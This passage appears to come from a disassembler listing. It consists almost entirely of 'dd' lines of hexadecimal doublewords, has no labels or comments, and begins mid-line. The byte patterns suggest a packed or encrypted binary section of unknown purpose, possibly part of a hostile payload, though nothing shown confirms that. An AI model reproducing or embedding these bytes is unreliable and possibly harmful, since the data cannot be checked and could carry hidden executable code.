14BBB74Ch, 0F28D5E75h, 1AC1B84Fh dd 1D0D277h, 59AE51F8h, 6DD7C1Fh, 52A948E7h, 0EBDF8225h dd 9112EB68h, 7C6D38E8h, 0E2DC1BC6h, 6FDB7413h, 5D956AF1h dd 0DCF312B6h, 3CDF1913h, 0A5D221BEh, 7FED7B02h, 0A22CE7B7h dd 0F665BE62h, 0CBA42928h, 578D8928h, 7702854Dh, 0EA6475FAh dd 7FFB3EC8h, 12AE61BAh, 0C66AE8DCh, 540Dh, 25F47800h dd 0FEB2431Eh, 3E7EC464h, 169B22A7h, 0F18E2D49h, 0D7768059h dd 0B2DAF237h, 0EF55C4F4h, 0B256976Ch, 2CC9AC2Dh, 0E26FB3C7h dd 0C638D0F7h, 9F42C046h, 2C0C4398h, 2D4817C7h, 814BF18Eh dd 2E59E57Ah, 0F80DB12Fh, 26BD5CFFh, 0CB0FA847h, 35Fh dd 14A73E45h, 708ACED5h, 0BA0A39C9h, 0FC830A88h, 0C4F524EEh dd 896A0381h, 0CD48CB6Eh, 2D24B746h, 0BD3CC3C7h, 0D4C72D24h dd 0B050B636h, 0F37EA097h, 0F67D4C91h, 419F4C29h, 67FE2537h dd 0F159F674h, 0A740DB18h, 0C34003A3h, 3D10CA29h, 0EC87643Bh dd 0DB57F753h, 1612EB68h, 0D76DCD02h, 0F5FDD259h, 0D57C754Eh dd 9920D231h, 5B28AD30h, 57DC7C1Bh, 373F3195h, 9EA740C6h dd 6404A7D1h, 39B6628Fh, 0D3673BA0h, 44C749BFh, 4CD4A4B8h dd 0C94C02BAh, 6746B34Ah, 9838CED3h, 0E618B7Fh, 31B415ACh dd 5A6138B2h, 0F2953329h, 0EC6F12DDh, 9838D717h, 0D87B747Fh dd 521FF439h, 983812ABh, 63EADF66h, 614F2EDCh, 2AC34123h dd 892C441Bh, 75BA5EECh, 0DFB08F60h, 0F660EF8Dh, 0E3FDA77Eh dd 39D8h, 966D6A00h, 2B1FB857h, 2E44998Bh, 981B9D44h, 0F4AE191Bh dd 0AB44C2C4h, 2CB24598h, 7DD4B2C7h, 0B148C74Ah, 0D0C72CB2h dd 0D87510E3h, 0D650F072h, 0FC69809Eh, 0DAB8h, 0DC1B4A00h dd 1A579C39h, 316CF073h, 4EFB370Bh, 54A52AB1h, 2B3EC8F4h dd 2520F99Dh, 92082E97h, 0B8808E9h, 3EC84CF2h, 0D579F78Dh dd 0BB54F700h, 18BBB58Ah, 0F1946378h, 48FB094Eh, 4C2B3EC8h dd 822552h, 28C7A67Dh, 0EA89648Fh, 0DB7BFD4Dh, 492AF93Ch dd 0FAF50AAEh, 158BE57h, 846E45C8h, 660A40DDh, 734E5CE3h dd 971AC4F5h, 2D71C118h, 862AA0C7h, 699D3CCAh, 0F16EF5D4h dd 3D13D8B8h, 754AD137h, 9D32D57Ch, 29592DD4h, 0F343C249h dd 1B1C01Ah, 26460000h, 0D717EC8Bh, 38429938h, 0DA19EE91h dd 2E4BA03Fh, 5F85E887h, 41E08772h, 8C2BCEAAh, 38D77677h dd 8E31D4A3h, 0A33AB95Ch, 0BE38E893h, 0DE1B55EDh, 0BE959837h dd 0D67411B0h, 2FD29D32h, 0F39AD7ACh, 3E6EB453h, 149B22A7h dd 0C4F4AE1Eh, 99AA43C1h, 0C72CB244h, 0A76EFAB1h, 9C56BD63h dd 0BF927C1Ch, 694E1F55h, 0D639FCh, 0F7CC0000h, 6BB155F8h dd 4DE6DF6Dh, 80DCC53h, 0E6643EC8h, 0EB817756h, 0C612EB68h dd 0D76D3EC8h, 32D5A237h, 50A926ABh, 2F3EC8C6h, 291CF599h dd 0D8781F5Ah, 0B64FF603h, 0C8C2478Dh, 0DB0BF3Eh, 0B75A956Ah dd 6861F81Eh, 0E94C5EE5h, 0A91FC4F5h, 826C4306h, 7D004AE3h dd 2DEBE7F6h, 6C0C7AC7h, 1FA623BAh, 134EF6A0h, 78FB893Dh dd 0A84726FDh, 469B3B0Fh, 851F762Bh, 0C1744B45h, 0CD6A11E8h dd 875CFB7Dh, 0F5F3C36Ah, 0C343C29Bh, 0B5F0EAh, 2A4A0000h dd 0DB1BF08Fh, 2C469D3Ch, 0DE0DE285h, 224FA443h, 6379DC7Bh dd 3DDC836Eh, 8827CAA6h, 44E38273h, 7A1DC0AFh, 0B746CD48h dd 0CA38E892h, 0DE1B61E1h, 34439837h, 8870A91h, 3EC87DF1h dd 5621FA90h, 2EF413B3h, 9C39DC1Bh, 0D2751857h, 0AD309920h dd 0EB1F0826h, 0A03DCBC4h, 0FA812453h, 63E1F877h, 0A80C717h dd 4730C766h, 5D380BA4h, 0AF093EC7h, 8C6BF07Fh, 42C06792h dd 8C2F489Fh, 58F300F3h, 443A34BFh, 5EEC892Ch, 0C5B043DCh dd 0B15B8926h, 3EDD199Eh, 6927A9A1h, 402FB4BBh, 8A92169Dh dd 3D071AE0h, 0A73CDB7Bh, 528825C8h, 3, 1BBC86C8h, 52A13ED9h dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h dd 4FA441DCh, 10E37C23h, 24AE47E6h, 81E68956h, 4C6h, 4BF5700h dd 29000000h, 34875FFEh, 0AA685C24h, 89000052h, 8951243Ch dd 4C181E1h, 83000000h, 0C8704E9h, 2C895C24h, 0B0BD5524h dd 890620E2h, 242C8BEFh, 4C481h, 8B540000h, 0C481242Ch dd 4, 0FABA5250h, 0F7597C17h, 0EF281DAh, 89A683E8h, 0E8015AD0h dd 0FF583889h, 815D2434h, 4C4h, 243C8B00h, 81E68956h, 4C6h dd 4C68100h, 87000000h, 0E95C2434h, 0FFFA8CF4h, 0ABB85A1Bh dd 30620F0h, 82E0FFC5h, 0AA2653FDh, 6B7E44D5h, 0DD39349Ch dd 0E04CC347h, 6F615850h, 0A97B0BB6h, 0A86FF78Fh, 0E440383Ch dd 0EB0A2AD5h, 34A73504h, 619E948h, 0BEAE0000h, 7F6F8423h dd 0D0AA41E0h, 82718629h, 0C6B348E7h, 0C7DD801Fh, 0A948EF0Ah dd 0E4832652h, 0A03FDE0Fh, 0E6892C4Bh, 0BD251F4h, 6638E88Ch dd 966DBD85h, 3119B659h, 0DC7F788Dh, 22C9B043h, 8E5BA7Fh dd 4730C569h, 0FE80BA4h, 9D72D36Ch, 0B09A33CEh, 5CFBFB10h dd 4EE90AD9h, 78A691AAh, 0D87B74F9h, 34D3A239h, 0E2F2BB1h dd 3BA91CB7h, 4EFC993Ch, 0F60D2CCCh, 86BF58F7h, 791DBCB9h dd 62E98C64h, 0AC9960DFh, 92F83EC8h, 2EB555EEh, 4790A1AAh dd 781840A6h, 2F3EC38Eh, 0DD1AF190h, 0D57215E3h, 4EAF370h dd 0FF853EC8h, 0DD66FF81h, 3EC8041Fh, 14DCDA17h, 0F476D471h dd 0BD60985Bh, 4A3D320h, 11FBDF6Bh, 24A9103Eh, 4DB22A1h dd 905D3EC8h, 76F654F1h, 0ABC67010h, 2CCBAB78h, 0EB8FA993h dd 85A80F57h, 33A96303h, 9B028582h, 6206ADC4h, 7069h, 0DC1BD900h dd 0E76C18E2h, 3EC87D16h, 0DB5DDB69h, 7DFA0142h, 343C3EC8h dd 0EFFFF491h, 4B2DB750h, 8F6BD604h, 8B088DC0h, 3EC87D72h dd 1DD7770Dh, 284B1A7h, 6B1h, 303F1400h, 1B63E98Dh, 21B837DBh dd 403EC87Dh, 6108F1CAh, 0C1AD46DFh, 7D6E8522h, 53F245E2h dd 3BD46F7Ch, 0AAC56F0Fh, 7AA4925h, 0DD846D42h, 0A747EE04h dd 0DF822552h, 37DE1B57h, 7A19559Eh, 0A1B07EDDh, 0BAE551Ch dd 954AFBF4h, 0DEB52380h, 4FA441BFh, 0AB462523h, 9AD9A62Dh dd 9730CBA8h, 789135B3h, 4BB5BC6Ah dd 284CD25h, 0D053h, 14DDB200h, 0D67AD06Dh, 37DE1B50h dd 0D40A28B4h, 9CA7D66Eh, 0AAD023FCh, 6C896A03h, 0B7C330CDh dd 717C7710h, 5EF13DD2h, 0C08F9F30h, 19B8B68Dh, 0F2996075h dd 9069E66Bh, 0E83EC83Dh, 0C83D926Bh, 0DB57ED3Eh, 956AC96Dh dd 17E3B05Ch, 0EE73D770h, 3EC83DEFh, 2A2A3A72h, 49C9852Dh dd 53A03DBBh, 83FE8520h, 0C07881FEh, 0B1173EC8h, 0C8C0D128h dd 761AB03Eh, 1857459Dh, 1AE360E5h, 753EC8C0h, 4FB56F0Fh dd 29028570h, 61h, 5B966D99h, 529AAAA6h, 0E6649CCEh, 1B1EF349h dd 6E08D84Ah, 39D417ECh, 3B394095h, 47039C3Bh, 0A6C72CC9h dd 9E806E07h, 9E25A0D3h, 3EC87C5Fh, 0DFF49432h, 39DC1412h dd 8E5F34B7h, 3EBC5F98h, 2605A9A1h, 3CDB1B20h, 7D5AA0A3h dd 0D74A3EC8h, 0AA4EED08h, 5187F180h, 70284B2h, 1, 38DF1B7Bh dd 0F00527B5h, 8854E069h, 35C5F0B1h, 2FC7B31Fh, 0CA1AB731h dd 0D16A0E8Ch, 26AD5522h, 3EC89BD7h, 0B872251h, 0FD78FB7Dh dd 0C89B6776h, 0A604EA3Eh, 294F4D74h, 0A27B1BA9h, 2EB3BE68h dd 842B4644h, 3EE15FEBh, 0D15475CCh, 8B52D154h, 0E63EC8B6h dd 597BC060h, 0C2C4F58Dh, 0CF39C03Fh, 0F3FFC72Dh, 0AA3AD04Ch dd 9752C4A2h, 9D1B06h, 0BE6104F3h, 17544E29h, 0E967E37Ch dd 0BAE4F74Ch, 8319C72Dh, 0E58867ECh, 0C467915Eh, 0A07F1F2Bh dd 429B189Dh, 1DC72DBAh, 5F207A7h, 0B380C562h, 688B24C3h dd 0CA6EEC8Fh, 0FE973A35h, 0BE57FAF5h, 0A202EA7Eh, 441D2B99h dd 1ED8A29h, 0B526541Bh, 0A53366E9h, 0DF3C38B4h, 0E2F797E6h dd 53CF7215h, 0FC69D11Dh, 15D3Bh, 0C147CA00h, 8EFD2385h dd 7E7F04FDh, 11C72D43h, 43E8F16Eh, 187C72Dh, 6D59DF7Fh dd 15B95896h, 0E86B5EE3h, 0F5531D6Bh, 6D8857C4h, 751931CEh dd 93B24BB9h, 62C58A0Eh, 7AB3FCB3h, 2C09E8F1h, 5D0187C7h dd 2DCC6F88h, 9AB0A428h, 62676C18h, 544E29BEh, 6FF4771Eh dd 0C72CAD6Eh, 68058301h, 2CC96C8Bh, 6BF07F2Fh, 346E98Ch dd 5A2412Ch, 0DC5E01EEh, 818AC23Ch, 0BF42FC69h, 0A13CBD42h dd 0B553C72Ch, 2CA1AD2Ch, 0A246C4C7h, 3529h, 0A33E9900h dd 7118971Eh, 0F03EC87Dh, 7786BD5Ah, 0A23EC87Dh, 0C24679F8h dd 0BEB8BF83h, 38C4861Fh, 10B040FEh, 77FEC31Eh, 0C80A51F8h dd 973AD03Eh, 9927h, 0A73EA100h, 0FA149B22h, 5DC4F55Fh dd 0CAA54EE7h, 1936A919h, 0C345DB4Fh, 0E3827340h, 0C160004Ah dd 0DAA4D2Ah, 2C7AA236h, 0AAC557C7h, 6615F177h, 0AF23374Dh dd 6BF72885h, 0AF4F3C35h, 0F37A1D5Ah, 14B1541Ch, 13DE6D28h dd 0F87A1DFCh, 45B958h, 5FE18872h, 742657DCh, 0CB393D0Fh dd 13B6C132h, 0B66907Ah, 915E14A9h, 1EB75697h, 0A827AE2Ch dd 0CD0B5451h, 95189A30h, 28476F0Eh, 1840237h, 57EA2F7Bh dd 0C923E3BBh, 0D4EDBDD3h, 0A28125A3h, 5263199Fh, 0ED174753h dd 0A73E0349h, 0EB8E7D14h, 0D1547E22h, 0C8C48B52h, 0E260E63Eh dd 0D7A5D45Bh, 0DEB5C4EBh, 37DE1B0Dh, 9E2EAC9Eh, 482461ACh dd 0AEAA4EB2h, 7B747F18h, 737E55D8h, 0F60D2CCCh, 8CB956F9h dd 18738A09h, 0B0FEC717h, 0FAA7D806h, 892D9B17h, 20BEFFC4h dd 0AEC16D75h, 28AB4E29h, 0D8781F5Bh, 2DD5A239h, 2BF57A6h dd 1E9C2A95h, 6638C481h, 5EB40AADh, 5A01F9D2h, 14E98DBDh dd 67A33CD7h, 0B07FB2BDh, 0C28825C8h, 0BAEC91Eh, 0B558976Ch dd 0F299612Eh, 0B851F555h, 17BAB68Dh, 0BE2CCC7Eh, 11h dd 59966D14h, 0A13119B6h, 93DC90ECh, 0F9630349h, 3ED91B47h dd 822552A1h, 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h dd 41DC0FE4h, 7C234FA4h, 47E610E3h, 895724AEh, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 241C895Ch, 8904EC83h, 89532434h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch, 0F16DB850h dd 0C6890620h, 8124048Bh, 4C4h, 1B646800h, 24890000h, 24048324h dd 89575B04h, 87B89F7h, 81243C8Bh, 4C4h, 241C8B00h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 5E2434FFh, 4C481h, 0A5E90000h dd 7EFFFA86h, 0B84CDFF0h, 620F701h, 0E0FFC503h, 2F4C1B0Dh dd 33BA9CDCh, 0B1DE1ACh, 1E58DD60h, 68110C55h, 0F17DBC3h dd 17019634h, 41991E4Bh, 7E73C1FBh, 6F00AEE4h, 4AE54A2Fh dd 22A03254h, 74413E8Bh, 0CBB943h, 2E0D3F1Dh, 5C86E1Eh dd 1743E93Ah, 4D2F0DAAh, 6AD844B3h, 4C034B39h, 0D47A5E1h dd 6445E4D8h, 69D17FBEh, 4BE47AC9h, 773AE91Dh, 383D2C5Ch dd 0E545F92h, 3CABA10Eh, 6045BC1Fh, 59436254h, 6DFCCE7Bh dd 7DCF8349h, 9E8h, 40BE9100h, 805B1938h, 0DE80366h, 90000000h dd 660FDA53h, 0BE682420h, 8E3E84D9h, 5EFABF0Fh, 0C081FC58h dd 7241h, 8C0Fh, 62680000h, 0E900001Ch, 0Bh, 0E9FBFEB5h dd 9657FDC5h, 59CF97CDh, 188B5AB2h, 0C381F58Ah, 1F00EDF4h dd 81F78B66h, 948D18F3h, 0E8EA8144h, 812A0CC1h, 1091F3h dd 0EDE78101h, 531877B6h, 0E9008FF9h, 0Bh, 5DE7626Dh, 8B25FD73h dd 83E64412h, 5E904E8h, 0C5000000h, 8426E09Eh, 1E981h dd 850F0000h, 11h, 20E9F5h, 46240000h, 541493A3h, 5C85619Eh dd 0E9F98B7Ah, 0FFFFFF96h, 0ABA39E46h, 332E2DFDh, 3B745AAFh dd 7DE92301h, 60000001h, 6C4FFE5Dh, 0D76FC201h, 0EFB4CAD1h dd 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h dd 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 73AFC945h dd 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h dd 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh dd 0ACE56Ch, 100h, 43h dup(0) dd 3736D1F8h, 0D3C20DA4h, 5370CED8h, 101DE9h, 0FC3F6800h dd 81E90620h, 68FFFB4Bh, 620FD55h, 0FB4B77E9h, 0FED568FFh dd 6DE90620h, 68FFFB4Bh, 620FFB8h, 0FB4B63E9h, 0D268FFh dd 59E90621h, 68FFFB4Bh, 62101C6h, 0FB4B4FE9h, 27E68FFh dd 45E90621h, 68FFFB4Bh, 62102E6h, 0FB4B3BE9h, 3ED68FFh dd 31E90621h, 68FFFB4Bh, 621046Bh, 0FB4B27E9h, 50A68FFh dd 1DE90621h, 68FFFB4Bh, 62105C6h, 0FB4B13E9h, 66768FFh dd 9E90621h, 68FFFB4Bh, 62107BAh, 0FB4AFFE9h, 8CD68FFh dd 0F5E90621h, 45FFFB4Ah, 29EAD87Ch, 494A3814h, 2EDBD571h dd 4B483A10h, 0F3EAD878h, 1D330E2Fh, 0F45A6623h, 1F330DFEh dd 0CF794051h, 0ECE677E1h, 4AF1588Ch, 33EAEC57h, 893E3C0Ch dd 755FEDD2h, 0AEA4A594h, 4CD1A2CEh, 3D33A115h, 0BCD61B3Dh dd 4CD1A2BCh, 4C46CF47h, 4CD1A22Ch, 40D53FB7h, 0CCC55952h dd 79470452h, 9A90B686h, 6B8B224h, 82900790h, 4ACA81FAh dd 0A97F9501h, 0CA81CDAFh, 31AFBC4Ah, 0C56E243Fh, 228168D3h dd 60DF9DB5h, 0B2244ACAh, 195AC3A4h, 4DC250CAh, 0F4000000h dd 0A3347A24h, 0CCB322AFh, 76440752h, 0D93DC2D4h, 9397E9DFh dd 51024ACAh, 93ACCCC6h, 74374ACAh, 31183C5h, 3FA89A36h dd 0CA935523h, 2B389E4Ah, 4E040F45h, 0C7A0B61Ah, 50CA2956h dd 0F28A980Fh, 0F94ACA60h, 0B9CD879Dh, 0F7000000h, 0AEA09C7Fh dd 6CDCE3B8h, 53B28D8Eh, 7147DD6Dh, 0E9BF89B0h, 0AE371128h dd 61DAEAB5h, 0B1A34A99h, 2D9199BFh, 0B38A4CD1h, 0CFEE9B95h dd 0A93B112Eh, 5399C3CFh, 30CBD0C2h, 60D652CCh, 82C87292h dd 0C48A3615h, 0F16670E6h, 0DDEA4CE1h, 1E223154h, 0B0062724h dd 0CD29D6C0h, 90C08358h, 82CEF1A2h, 0EAEDB7F2h, 106E45Dh dd 0D82h, 37094BF4h, 19E7655Ah, 2C0640F8h, 17E9615Fh, 370947FAh dd 5E61DC24h, 2F1300F2h, 7E40511Fh, 0E2DDED4h, 0D92483Ah dd 0F15E6715h, 3F176C4Ah, 0D7401033h, 804649BCh, 3613FFA9h dd 0DFD1C389h, 433D0B32h, 4602B992h, 12E4F264h, 0B0A29C7Fh dd 2A1204BAh, 455DCA10h, 52CCB3DCh, 0F3E075E1h, 73F3808h dd 1820F9F6h, 8C9A4C2Eh, 44C0B4AEh, 6B14ACAh, 0E052A90Dh dd 0A8BE6886h, 7AA305E3h, 0E250CA68h, 0D0h, 3C0C3314h dd 56263CABh, 9D4CD1A2h, 4C4D2B39h, 0CF09DF71h, 4CD1A6DBh dd 11DF6950h, 9DB58F4Ch, 5DEBD287h, 0D31EA5Bh, 98B28841h dd 523A2CA2h, 9675E228h, 12C4A6ACh, 9A7F9304h, 0A752CCBBh dd 0D8E5A62Fh, 74906274h, 9C3E01CAh, 6C443205h, 91AE6DFAh dd 5207BDBBh, 6ADCDE6Ch, 99F7EB7Ch, 4254DD3Ah, 0B58843D4h dd 0FDDE6850h, 0B92B0D41h, 8934552Bh, 1E2E13C8h, 0C0B8AA1Ch dd 0B4CD77Eh, 4A8939ABh, 655DEB66h, 0C6C8283h, 0E5DE0000h dd 0AB90816Fh, 0FAC2CFA1h, 0A795764Ch, 1BCCDA3h, 0A67A614Fh dd 0CEA4AC97h, 734D01BDh, 0CCA6AC96h, 7A4800BFh, 15637FE0h dd 0DE4AF15Fh, 10337185h, 0C7BCD740h, 5FB63A34h, 3D4E2432h dd 6F8CA7Eh, 3E3C0C33h, 0F8CA7E3Dh, 352D720Ch, 4CD1A247h dd 2BBC2A8Ch, 0CC8E3E37h, 0E6FC5B52h, 4ACABE96h, 8D6BF95Dh dd 0CABE2153h, 0CD8B504Ah, 0CAC3426Bh, 8CAA50h, 245C0000h dd 0E8A3347Ah, 0FC697BD5h, 0CCC489E6h, 0F0CA2C52h, 0CA8086FAh dd 6CE4F34Ah, 0CAB9A30Ah, 0D7CB5C50h, 4ACA88A1h, 88285042h dd 43B34ACAh, 8C4A5CBAh, 56h, 4FF9C09Bh, 3F1E359h, 0A3347A24h dd 0A25E1E34h, 0A5BD4CD1h, 4CD1A2D7h, 0A115BA1Ch, 0EB3022B3h dd 0B652CCBFh, 50BCD740h, 0C0B0B9B8h, 0BF5D1B37h, 30A64ACAh dd 5BAB0A6h, 0C1D37946h, 0CABFADCFh, 510FDC4Ah, 8DBF7C5Fh dd 4A2B39ABh, 50CAC1E3h, 114Bh, 392F7900h, 38000008h, 0A2C5B3AFh dd 0A80E4CD1h, 7A24C8BEh, 1F34A334h, 1AF6D047h, 0D2C0D648h dd 52F1E867h, 381384F2h, 18F9C781h, 41512721h, 0B8C0D217h dd 434AF1DCh, 43D441D3h, 8096B088h, 0D1149492h, 0C253C354h dd 81163209h, 370BF4CAh, 39AB8D17h, 8534552Bh, 8315E5C3h dd 5C3FA83Dh, 85F3EF60h, 4E4CD124h, 7A687EE8h, 52CC19DDh dd 2F661E78h, 3C640015h, 0AECA96Eh, 655E0000h, 2B1001EFh dd 7A424F21h, 2715F6CCh, 813C4D23h, 26FAE1CFh, 4E242C17h dd 0F3CD813Dh, 4C262C16h, 0FAC8803Fh, 95E3FF60h, 5E4AF15Ch dd 86FAF105h, 0A4CD1A3h, 2ABD2A70h, 0A3D7A5BDh, 0BA1C4CD1h dd 0A347352Dh, 2A8C4CD1h, 6A4B263Ch, 86E52F1h, 0EA304A3Ah dd 0B31EA7Dh, 0D83B553Fh, 0CD54D193h, 201FFC69h, 82395A28h dd 0B3A84C43h, 0DCDCE895h, 48DE906Ah, 6E10DCDEh, 0AE6BDFDDh dd 0CC2B88Eh, 21150D9Ah, 5E52F171h, 1234AF45h, 584E8572h dd 2A5240B7h, 0B14AF1E3h, 63591AC2h, 55BFA3FDh, 0CB7556BFh dd 293BB187h, 68E0DFBCh, 86C2799Ah, 0C2CCAEA4h, 702BCAF1h dd 0AF25034Dh, 7DC3D5A5h, 15637FE8h, 0DECAF1C2h, 0A73D112Dh dd 353A28BDh, 0F0D4ECA5h, 0CCD1EE86h, 0ECBEDE1Fh, 0A092Bh dd 8ACA7B00h, 66E6DBB8h, 87BF7F8Ch, 68E2D8B9h, 8AC6799Ah dd 0E05DA5B8h, 8C7D73DDh, 0E7A49EB0h, 8E7B75DDh, 31A799AFh dd 5DC6B6ACh, 0B60D4AF1h, 347A24A0h, 6BD4AFA3h, 950152F1h dd 0D4744B00h, 3A0E2DDEh, 0A188F40h, 4AF15B72h, 43071D79h dd 0D542D319h, 5B285042h, 43B34AF1h, 92F83F51h, 118554D1h dd 50F8C784h, 0BE8AB162h, 0C58EB0BCh, 8CF8C3A1h, 0AD9348E0h dd 0BD9E079Dh, 0D0454F03h, 0BAC2D047h, 414CD141h, 0BA826352h dd 294CE50h, 7170FE14h, 849F52F1h, 0C8210768h, 67E8FE10h dd 96A566EFh, 0ECD3C0B2h, 7EE95E5Ch, 0CFA99D9Dh, 0E775031Dh dd 187E4AF1h, 0E760140Eh, 16284AF1h, 0FBD047D0h, 0BC320848h dd 0E741372Bh, 2C8A4AF1h, 2F09283Ah, 0C23454D1h, 81C77655h dd 22DBE2AFh, 591F3320h, 0A24CD11Fh, 3634A234h, 0C1831426h dd 0AF259791h, 0D6A92C26h, 1A7C52F1h, 612A5420h, 6DA2AA1Fh dd 50C54FACh, 0EC6B6942h, 12A21454h, 5E200EFFh, 0EF591E6Ch dd 61000008h, 0DFEF460h, 65261C30h, 12FFF155h, 67241E2Ch dd 0D7FEF45Ch, 947FA43h, 0E8665A37h, 0B47F91Ah, 0E3655435h dd 0C0D2430Dh, 4AF0A2B8h, 331EE043h, 3D3E3C0Ch, 33F0CA7Eh dd 0AA674111h, 32BFB997h, 27948761h, 7F3E7C54h, 0A566F7C9h dd 85DD2F96h, 0F98FDB64h, 0CDD78D6Bh, 0E593C5E8h, 112D56h dd 7FD70000h, 0A282FAE8h, 0ED494CD1h, 4B11EF7h, 6AC80000h dd 2E7406E5h, 536D2EB9h, 0FC7C96FFh, 74CD1A2h, 6A8B858Fh dd 7F52CCC6h, 0E05E5417h, 5499C770h, 0ABA7992Ah, 5DEFCCCDh dd 9E7BE95Bh, 0AD3AACA2h, 6E78CEEEh, 33A0E9F9h, 0E94D87DCh dd 7B455E0Fh, 441BD68Bh, 2A5240D5h, 0B19FDAD2h, 0D16B4F45h dd 0BE081A8Bh, 0B981CC82h, 0C85FC85Dh, 0C4A2A2DAh, 0D3CD2999h dd 99C4A2A5h, 49DEC82Eh, 0A39DAB92h, 0C171D7E6h, 32F98ABAh dd 0FB22E3C5h, 6D000007h, 61320054h, 1102F05Ch, 66231D29h dd 1300F258h, 0B522030h, 0D57B46F7h, 3C122EDBh, 0D77B4546h dd 371128E9h, 140E8F49h, 4AF0A364h, 3342146Fh, 3D3E3C0Ch dd 8EBE8382h, 0D62DB7ACh, 8DDC424h, 0D4CF859Eh, 89F73FB2h dd 0EAD18A1Bh, 0E57A485Eh, 6D186072h, 73E34CD1h, 0B2A4AA96h dd 0FD6AB0CAh, 0F1A480E5h, 64F16552h, 0C2B098A7h, 0D0DBEAD1h dd 6D2A07C4h, 7AED7AECh, 0F10B1068h, 697BDB4Ah dd 42FDDE8Fh, 0ACBA2C0Eh, 0EF78BEE0h, 0D1C244F3h, 38AD0954h dd 0F6EB5B63h, 872333AAh, 42D3C1E9h, 9C96B289h, 8278D0EFh dd 0E292BE81h, 5DE534E3h, 433D4290h, 0B5000007h, 997A480Ch dd 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h, 637A4808h, 0ADA39E9Fh dd 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h, 3C56C791h, 4AF0A03Ch dd 249A5CC7h, 0AFA3347Ah, 52F16B08h, 9774E155h, 0C1D2A0A8h dd 104003FAh, 1F33A41Ah, 4AF15B59h, 0C8A234A2h, 0CB5CA2BCh dd 0EC7572D7h, 0BB71F54h, 5E206D04h, 0DB5C216Fh, 4D000006h dd 112E074h, 7122103Ch, 603FD49h, 73201238h, 2B320050h dd 0F55B66D7h, 1C320EFBh, 0F75B6526h, 17310809h, 342EAF29h dd 4AF0A044h, 3322348Fh, 81CDF10Ch, 8012B2A7h, 0ECF2EA2Bh dd 0D0EEC7Ah, 0D3201A2Eh, 0D3EA28C0h, 152BE075h, 7F79D7EAh dd 0EB6157CDh, 0B7E607F9h, 1F56E4FAh, 1Dh, 2A92FD5h, 0AF380000h dd 7C7ED0ECh, 0A2A0D8CAh, 0A5BF4CD1h, 3248DCD9h, 899BFB84h dd 3C0C33BBh, 56263CABh, 9D4CD1A2h, 573D2839h, 807A3C14h dd 0B6C89496h, 4CEBE770h, 1152F146h, 0FFBECBA5h, 300A40FEh dd 6CE0DDBEh, 6C4ED88Eh, 0C6BC94AFh, 435FA4B6h, 4AF17235h dd 59CE58BEh, 0D1BBD149h, 0EF78DE54h, 0CDF00D2Ch, 0D8E4A583h dd 7C76E076h, 0A298B08Fh, 0E572DEE1h, 36ABA7EEh, 0DEC8D20Ch dd 286E10DCh, 4C7328BFh, 0A4C5FEFCh, 4CC5DF5Ah, 11FF157Fh dd 52CC489Ch, 9C952D89h, 0F640030h, 5D4BCC1h, 7D460000h dd 1328E9D7h, 724A4739h, 0F2DDED4h, 7944453Bh, 2EF2E9D7h dd 261C340Fh, 0FBF55965h, 241E340Eh, 2F05867h, 0ADCBC758h dd 364AF0A1h, 647F09CDh, 48BEED83h, 712A3C59h, 0FFFCFE4Ah dd 4C00BD40h, 8093E0DAh, 0B593AAE8h, 2583AABBh, 273C56E5h dd 58ACEC95h, 44021455h, 11h, 1432F72h, 63380000h, 45F7F161h dd 8096B884h, 3C0C33B6h, 0E48A9388h, 0B5BA185Dh, 556h dd 635DF7C8h, 0BDB399A6h, 685AECCCh, 0BBB595ABh, 635DF3CEh dd 0AA95A870h, 3BFCCA6h, 0AA94754Bh, 2B9DAA8h, 71E66C46h dd 0F0A61B61h, 7B83E04Ah, 0AB3C0C33h, 637FC8F0h, 4CD1A215h dd 0F8EE78DEh, 0AE8E4D02h, 3A2CA298h, 0CEE5A61h, 96D48C7Fh dd 9ECFA1A7h, 56E5DB6Fh, 12D7h, 0C62F0D00h, 0D7000000h dd 0C02Fh, 5C633800h, 240CFAECh, 0AFA3347Ah, 52F16C08h dd 0FB07E155h, 0D18A1B61h, 0E6E64EFh, 0D54AF158h, 74E1F361h dd 0EC3D055Eh, 0B64EA854h, 5E2069CFh, 0B729EEBCh, 29000004h dd 45463C18h, 2DDED478h, 4A47390Dh, 2FDCD674h, 0F463C14h dd 410F320Bh, 0B09EA26Fh, 63EFD1C2h, 8BBD7C8Dh, 0A8BA1BB5h dd 4AF0A7D0h, 24B6C81Bh, 0E8A3347Ah, 0FC697BD5h, 8C64786Bh dd 68E256DDh, 2F65647Eh, 0AE0852CCh, 0EC5A6239h, 0B39DA07Bh dd 8365EBD6h, 68EDC3D1h, 99565A7Bh, 9381DB3Bh, 0CA4BFC7Dh dd 5AEECD4Ah, 0B493AB68h, 0CA4BDE9Eh, 23B1254Ah, 44A9A1B2h dd 304A7490h, 0B8934426h, 77504600h, 42Eh, 347A241Fh, 6C08AFA3h dd 0E15552F1h, 1C61FB07h, 0F1587606h, 8B197D4Ah, 3D6B081Ah dd 9D9654ECh, 0F3217A2Ah, 0A75BC948h, 5E2011C8h, 0FBC0C523h dd 6D000003h, 61320054h, 1102F05Ch, 66231D29h, 1300F258h dd 0B522030h, 0D57B46F7h, 3C122EDBh, 0D77B4546h, 371128E9h dd 140E8F49h, 4AF0A764h, 7F42146Fh, 0CBAD9F9Ch, 1D3F0B19h dd 0A2B2CAD8h, 0DD394CD1h, 3FFDDE47h, 968C190Bh, 52F16C2Bh dd 7C5FC82Eh, 0D4B58BBDh, 758563E5h, 1A089DE3h, 54D1901Ch dd 914ADB3Bh, 0E07053AAh, 0F0C2540Ah, 4E2C1C23h, 64140E99h dd 6F4CD1A0h, 0B2D1D07h, 0CBC750C5h, 4CD1A0ADh, 86CA7536h dd 0B2A432A4h, 9D902D25h, 51C552CCh, 0FF99E0A1h, 0B8BD0B63h dd 35Ah, 8F61F3CCh, 0A18FBD82h, 847EC8F0h, 9F91B987h, 